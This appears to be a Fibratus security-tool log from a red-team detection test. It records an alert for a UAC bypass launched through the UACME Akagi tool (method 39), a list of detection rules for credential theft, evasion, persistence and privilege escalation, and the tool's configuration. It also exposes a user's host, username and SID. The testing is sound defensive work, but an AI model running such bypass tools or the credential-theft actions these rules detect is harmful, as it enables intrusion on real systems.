PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:5cfaaa32-1199-4076-81f7-de1a936a430a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1363717 + Pid: 11564 + Tid: 2348 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-26 13:41:26.7936507 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3fa3f1000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffc48c9c1e7080, name➜ cmd.exe, pid➜ 18448, ppid➜ 11564, real_ppid➜ 11564, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-26 13:41:26.7935976 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 11564 + Ppid: 15236 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T13:42:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T13:42:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T13:42:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:12:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-26T14:12:40+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-26T14:12:40+01:00 level=info msg=bootstrapping with pid 20024. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T14:12:40+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ to=>[] use-template=>true port=>25 enabled=>false content-type=>text/html]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-thread=>true min-buffers=>16 enable-vamap=>true enable-audit-api=>true buffer-size=>512 enable-threadpool=>false flush-interval=>1s enable-image=>true max-buffers=>36 enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-mem=>false stack-enrichment=>true enable-fileio=>true enable-net=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info max-backups=>15 formatter=>text log-stdout=>true max-age=>0] + output ......................... [ http=>[ enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] enabled=>false method=>POST serializer=>json] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ enabled=>false routing-key=>fibratus exchange-type=>topic delivery-mode=>transient exchange=>fibratus timeout=>5s passive=>false durable=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 vhost=>/] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck=>true enabled=>false flush-period=>1s gzip-compression=>false bulk-workers=>1 healthcheck-interval=>10s healthcheck-timeout=>5s trace-log=>false sniff=>false index-name=>fibratus timeout=>5s]] + pe ............................. [ read-symbols=>false read-resources=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false enabled=>false fastscan=>true skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-registry=>false excluded-files=>[] excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T14:12:40+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:12:46+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:14:58+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1649467 + Pid: 18908 + Tid: 19508 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-26 14:14:52.2320523 +0100 CET + Params: base_address➜ 7ffa32c50000, checksum➜ 678716, default_address➜ 7ffa32c50000, file_path➜ C:\Windows\System32\Windows.Web.dll, image_size➜ 638976, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 18908, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 18908 + Ppid: 14948 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: 